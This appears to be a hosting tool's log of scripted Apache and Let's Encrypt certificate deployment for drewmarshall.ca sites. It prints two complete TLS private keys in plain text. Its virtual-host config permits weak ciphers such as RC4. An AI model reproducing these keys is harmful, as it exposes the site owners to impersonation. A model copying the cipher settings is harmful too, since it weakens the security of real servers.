    show_file('/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:01:58: 

chmod 755 /tmp/pkp896182; /tmp/pkp896182; rm /tmp/pkp896182

2025-11-10 06:01:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt	5372
4f:3a:c8:0c:93:04:0a:7c:c7:7a:fc:89:05:45:21:49

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBqdi2Ias1/2PqtkeWABtSk9+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzI0WhcNMjYwMjA4MDUwMzIzWjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
0fmAwmjAbtmLGhz2RFt0bz2Q6Jw/rNliFtZKxim0+dVfmDGiDMWCcuqQD6Y30CjP
iPfvtDcilZ+S4DuHCHFC2Ua2HmoACnrIaiv8cJK0Ga72f82/iKqGWobu03pXLkX2
/YldnI3AmCGhyDILOas/P/daKYdiDN22piN4ZZGc4eWroHBpGGIKlAFdjYdLcmzS
JyrBrTlSDI6gpc8iUuChfHUZhpfFuT6gVuZHLSCdHoB43e+LGIcLXpEXQVwD5mga
pilh47e67HAfaSrVYFHld92sIzA8A6aMkzMPPvTgeNTDDCAw0osKFR+tmhvx3sGX
rPf63PcILzenTXwmZKjVuQIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBTVixREpgrSyLOnh0CK0BMbCThA+TAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWJ1Y2tldGdpZ3MuY2GCEXd3dy5i
dWNrZXRnaWdzLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI3LmNybDCCAQYGCisGAQQB1nkC
BAIEgfcEgfQA8gB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAAB
mmxbTcEAAAQDAEgwRgIhAI/3fMerS9g0c2nbKOp2Uv40b+KnFalC/IvcsUCik8nR
AiEA7ZkYCs64U5FZeIzD6l9yjDwoZRpfu4wO7kiro65MIbAAdwCWl2S/VViXrfdD
h2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZpsW1XfAAAEAwBIMEYCIQDiCHx8OFJC
5nbNHjPx4UvyoYZmO6POYct2dM800ZlvRQIhAM+n1mBzc2mkRRbmbwRk8CFtHWZC
iQwKAGOTmlH5s/MAMA0GCSqGSIb3DQEBCwUAA4IBAQCHHp6HD2Pq4eulyPvJ7ZYh
7oqJSREYygzgP1g4/W2p8rWLSSgw5wmcBG61sLZv4H0UG5A1E2JrUQeLA+FG6lim
H4zySoQWXeQeKVGrjeDmnzLTnZRgYbXXkZFiAZaVQHrpzqekhqbwHVYFVlcKSu0w
u3PAEeXc1AR/eQRE2hxX2rVBHv4tkAWsasgyvsYL/UKv3AcG7CPwQ51ctq9UljwW
KOVzJsf2FNVHA/MgsvAritt3+ZhCIs7fBKm/h3NH+pJ8yt84Wzlk7wC1CsTj+7d8
iRE+xmlpAchzmwcu3VtlwyzsIwdk/fDjtHZtahevDTKNOHFwVAIMqZRnJ6bgcxIb
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDR+YDCaMBu2Ysa
HPZEW3RvPZDonD+s2WIW1krGKbT51V+YMaIMxYJy6pAPpjfQKM+I9++0NyKVn5Lg
O4cIcULZRrYeagAKeshqK/xwkrQZrvZ/zb+IqoZahu7TelcuRfb9iV2cjcCYIaHI
Mgs5qz8/91oph2IM3bamI3hlkZzh5augcGkYYgqUAV2Nh0tybNInKsGtOVIMjqCl
zyJS4KF8dRmGl8W5PqBW5kctIJ0egHjd74sYhwtekRdBXAPmaBqmKWHjt7rscB9p
KtVgUeV33awjMDwDpoyTMw8+9OB41MMMIDDSiwoVH62aG/HewZes9/rc9wgvN6dN
fCZkqNW5AgMBAAECggEAOSx77/O/+i8IHlsmf2R7ptKXw47QE8u5VsiQ4bZ3jdOY
zQMuwdWB+LJ/+ZLj/a0vHXeNcH/WzfD+eEodMaJNdoY3jr6ENlZKfgZuHWUE3z1x
50jpz1fHb5zwKOtWE8Z/Q3gE4l0CxSnbOHzP66sCdPNwPICdpS01z7U20kk885Es
j2ikbfEDa7UMaFX7Mtu9KuKjIhin2QoWXxlhsMoua7GxMFsOPBTTIKnBrdo9ofK9
HkAnT0YRLVtQHtAkVp46DqRoXz3CWBjmvGcRuUWc/LCDjwcmP5rX/WwtETiJQ7mJ
wMc+OjpuVO5wGb1zPKezbQNDKtAA+K6p54EUMKfCkQKBgQD3CoBNSRZrKUoUAWe0
xwy1bXEX1d0i2A/A2ED7yVWZvzutGQmjq6tZR5NJ/9WnlKhFBv8iP6Jx61qnWmUC
5jK319JPgO/8KfHOLIsXOunkNxPApbyAlOf7yVl4mqo7/pUKH7v4GfOZlg8wi1EJ
lhyWZWpNFm+WfmXAy5dNuyjZ/QKBgQDZluHAN9OZ1yJrdIiMfHrlNnqOYyXt9wZk
hvaejSj5Vnp4CHFcfuQ99SjACnoQSmNP9Rq1CArEWiTBnSNJfkyz1S0nP+diLJ6r
XeiwaY7g0B/VQr01B96iWAdCIA7fASUW++Y5A/vAU0UmvKBmth4us8hDqKxQ1+rW
2pC2foypbQKBgHCC/9wzJVq4+1wRJ8JVxZv7tD4+0PBFpycVVsNV9v6G8g7sEE/S
p7+JsbNKKWyhb+HARgK7KKjpn+gIa2jensrMKKS8/I/EKrTT5KU3175wtzZORYPq
TZ2HHpCnIFEiqY5q1ZkxeJjClzhsuwO6slps5fUl+rx35K/iCY8FZp2hAoGBAIL2
GjgMIdLFNpVAVXNg9MMC0C7lJA4fEPzucn8pbRDtaNbYFgra4NsdtIIpjCBD9ZRJ
bOKqzXgy3U6fGn8Agn/2fa/S+ZwQSQvRgNy1G+bZvV8pRSIm82v42Z2GGA1G7iDw
Sjfk2uB9/e/7tfs7/9ySHqYCXnxmCJV6hYEhl93dAoGBAIymcgMQfMqqaHG1FOxU
3qMQVeJnn7eYknwBhXPxchsyetjGA7wIYXsXZi+FX9Uz+OU7q2lmiCbmxjj1hLWB
8sV4HJBBqLsJAMym4aMlf7OboOiz+39suiEqP+IRjRA18RhkmzyF8ykGe8TGIcZy
zUK4clt6uPz9wz+vlri8+FVb
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-10 06:01:58: Establishing a connection
2025-11-10 06:01:58: Establishing a connection
2025-11-10 06:01:58: 

PUT: /tmp/pkp773086

#!/bin/bash
if [ -d "/var/www/drewmarshall_preacheridol/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-10 06:01:58: 

chmod 755 /tmp/pkp773086; /tmp/pkp773086; rm /tmp/pkp773086

2025-11-10 06:01:58: 


1


2025-11-10 06:01:59: Establishing a connection
2025-11-10 06:01:59: 

PUT: /tmp/pkp296791

#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cat > LKb0--W8bs8lRYpUlO3HkwDN4quJl_VV_VILJ6T0fmc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LKb0--W8bs8lRYpUlO3HkwDN4quJl_VV_VILJ6T0fmc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LKb0--W8bs8lRYpUlO3HkwDN4quJl_VV_VILJ6T0fmc


2025-11-10 06:01:59: 

chmod 755 /tmp/pkp296791; /tmp/pkp296791; rm /tmp/pkp296791

2025-11-10 06:01:59: 




2025-11-10 06:02:03: Establishing a connection
2025-11-10 06:02:03: 

PUT: /tmp/pkp701593

#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
rm LKb0--W8bs8lRYpUlO3HkwDN4quJl_VV_VILJ6T0fmc


2025-11-10 06:02:03: 

chmod 755 /tmp/pkp701593; /tmp/pkp701593; rm /tmp/pkp701593

2025-11-10 06:02:03: 




2025-11-10 06:02:03: Establishing a connection
2025-11-10 06:02:03: 

PUT: /tmp/pkp285315

#!/bin/bash
temp_file=$(mktemp)
TARGET=dedbbb759062bdb197a5a897ec5601b7.crt

cat > $temp_file <<'endmsg'
19:92:55:d3:00:75:37:09:e6:ec:07:92:9e:8e:6e:ed

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBjQke0/hB1drBJsVQ2ZTdnB4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzMyWhcNMjYwMjA4MDUwMzMxWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAyzQDAIaPdCfOeVEBFDwxNClKXVSjCKYMrjHhGVoO3SVZ
E++kpSBGotkyvyodvvIgIg0NrOaPqwODSgqhu/G+cA1REK3+at+mKhUWC90tx4dr
yMjXqBZeocXGuxuzFZzwNjcQCzymjJvnnHszElQqKAXJ1SPuw1atzClVq/pYtGRz
iotdTnGQ2rKpXySAb7lub3qYcxmzLdMBcc8Gf2qxyPbb0F5+/uu3aiKcKpCR4naf
ZwjR3XV7F+N7I9jwiJhTZc6EqNMbcS2pSHeVZyZZGs/xHZ5B9DcY5LYqensZTv8Y
zWBab27xRlRsnAAAB9cX7CwoTsqhHfcLknUSZHciswIDAQABo4ICLTCCAikwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBTFyW2RHoXgx+J94nH806GOKLtkjjAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHByZWFj
aGVyaWRvbC5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjEuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer
6v7VA8l9zfAAAAGabFttjwAABAMARzBFAiAosGt3E3fnADJ9VDZVAN2xJHsOxrOk
JMNsPoX+BBf+jgIhAMDjly+Ld+PLA+8fTwB/z10SA+ritW8vZ5KUITtgtMd0AHYA
DleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGabFttkAAABAMARzBF
AiEAijo6bL6e6MEswuvgUA6iaeJyFE2PmegPXhTTkhuJBcECIDQ/l3N94IrOX9UF
PPuqtIA0QeVMCFsVVU6X0gVRDgk1MA0GCSqGSIb3DQEBCwUAA4IBAQBc5mGZM6Qe
8Gsv0vBVv8x8wcWbBmUtkKQbs5q2tLRtwekK0s92WcKlK2JiJlB1ofsCJUWO70BG
26UP9AQmyYqZbi3Neg6DhRrT2A8v4uFwUv/9C1KWYAbpROymH8CDIyhRMkuoDsRR
z82whh6rkwCNvNFLMNp49uBpRvxvt0QjK3x8upe8Abo5RddhtiNkgvwhlsnjU7Fq
slq9m/t3hSbLotx0spNKtbe8kDGGWAQxEfCZguYPNO7KnRkYbK1zbDTcK1pgEsVc
c5ez+ds/wGgfGtLeDqak39surlFgoKL5aUQi1vQ+HEH2c7fTdPTPdejW5EQ4g23z
0TFl7PCQA+TX
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDLNAMAho90J855
UQEUPDE0KUpdVKMIpgyuMeEZWg7dJVkT76SlIEai2TK/Kh2+8iAiDQ2s5o+rA4NK
CqG78b5wDVEQrf5q36YqFRYL3S3Hh2vIyNeoFl6hxca7G7MVnPA2NxALPKaMm+ec
ezMSVCooBcnVI+7DVq3MKVWr+li0ZHOKi11OcZDasqlfJIBvuW5vephzGbMt0wFx
zwZ/arHI9tvQXn7+67dqIpwqkJHidp9nCNHddXsX43sj2PCImFNlzoSo0xtxLalI
d5VnJlkaz/EdnkH0Nxjktip6exlO/xjNYFpvbvFGVGycAAAH1xfsLChOyqEd9wuS
dRJkdyKzAgMBAAECggEAJzqHSdawYxA8QBdvSeTE6vj9rj7kqorD7+0ZM7e7Ht5S
8BJXirlMaavcrCMJUw+TPH+goDxyh+VJt0WOK6ZjyWYIvFuavi8m+QDRHME6UUbH
fB+p4n1PD5QK5ZxXWljN1umSY1j2HjcK4561IVi2OrvDVy50ralSLBPewjC2ZzyV
FZGZEZ1sP31vRYC/84HLYc7pSk669nUZge6zU1QUp93TaQRGOc8vvv3xg8Qno7ZZ
KJb8kRa9doWct5FUw6mnDImEKozWcY80Q9XLnDuAQ6fztAdFfLroBdb7m/6+K7Cw
hCKKlGgpkmkpVcN7YPbjlo/5NumYXPYhBWSNB4VlIQKBgQDvt/NpDjgbNaTM9Nej
+oyGvtpAsVpgpOV3EfoBhPedRxDQ8nfXQW5PLGKAx8oGNTzgrnE2RK1fQEp1yZXR
jskjlwo/LLf+995S0d9sClPsIQ5x32/JdI08HqtqB31L2dgIJTAU4BujZdf4IWyD
3ESnRcsMG3pD+WiJqAzlBPMqhQKBgQDZASiIddWgw9tNGXHmfRJhbOrnJoMUmE3v
kE722rwVpD8Ba7T52Q93AiXAio/tC453mZdCuk2Z6iaX0pKDJ305jn4BQSoQcmWj
nVIpzqK+k3LXI7x7fkeXUMk+z4jOdedyAY+PJtza5V4wrST8Ci469clHcVW4Yv0b
THgnTSzJ1wKBgA2PLyKDHmNTnnXFZ6kr0+UPSJMeNQmAakZY6vZJCiSIT4gyHts7
JT0vOockReYh/saKt3alXdUkctHEzEelNvVfZsH6CpJOfPHcUzHuR570o7eHNvCD
OjXrWjDOKaUvtkuHpveXUZjletjbMyMmQ2/ev8R4jWro4aPfsJMHu6VtAoGAYHYP
WnlmuMvXE/KXmulF3mDYGmAYLHN3UWJId5rLuKMGDs+d5uIB6djehzQQvkJA1hFE
F7lQ/XYEKcDEt+A53fflMxGQbTcszwoDl+nuleBdUBzmj86WbEDQ9Ea0fXITq63d
7rhLvFHxCJousoqj+jl/e255uDjoYdYgIvg/TIkCgYA9CqThRnOoYqbKdTEUQc8u
YCE/pq69kAyThpcbasCqeJpqbAiJyhgJ4ctiGVI6x8Wu4lXXG/D9fE8lWWkW4qEg
G+h5y9kpkkde5tLAhTnce+Lf+54B9r3nZmY+4KuFdJjY+uiRr/tV+VEjKGOKUAzu
vkIsJ5raAtDkM4zHXMEHng==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-10 06:02:03: 

chmod 755 /tmp/pkp285315; /tmp/pkp285315; rm /tmp/pkp285315

2025-11-10 06:02:03: 


dir=/etc/ssl/certs


2025-11-10 06:02:03: 

PUT: /tmp/pkp493806

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-10 06:02:03: 

chmod 755 /tmp/pkp493806; /tmp/pkp493806; rm /tmp/pkp493806

2025-11-10 06:02:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf 52

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-10 06:02:03: 

PUT: /tmp/pkp573631

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_preacheridol_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf= 1'
fi


2025-11-10 06:02:03: 

chmod 755 /tmp/pkp573631; /tmp/pkp573631; rm /tmp/pkp573631

2025-11-10 06:02:03: 




2025-11-10 06:02:03: 

PUT: /tmp/pkp440513

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-10 06:02:03: 

chmod 755 /tmp/pkp440513; /tmp/pkp440513; rm /tmp/pkp440513

2025-11-10 06:02:03: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:02:03: Establishing a connection
2025-11-10 06:02:04: 

PUT: /tmp/pkp808617

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-10 06:02:04: 

chmod 755 /tmp/pkp808617; /tmp/pkp808617; rm /tmp/pkp808617

2025-11-10 06:02:04: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
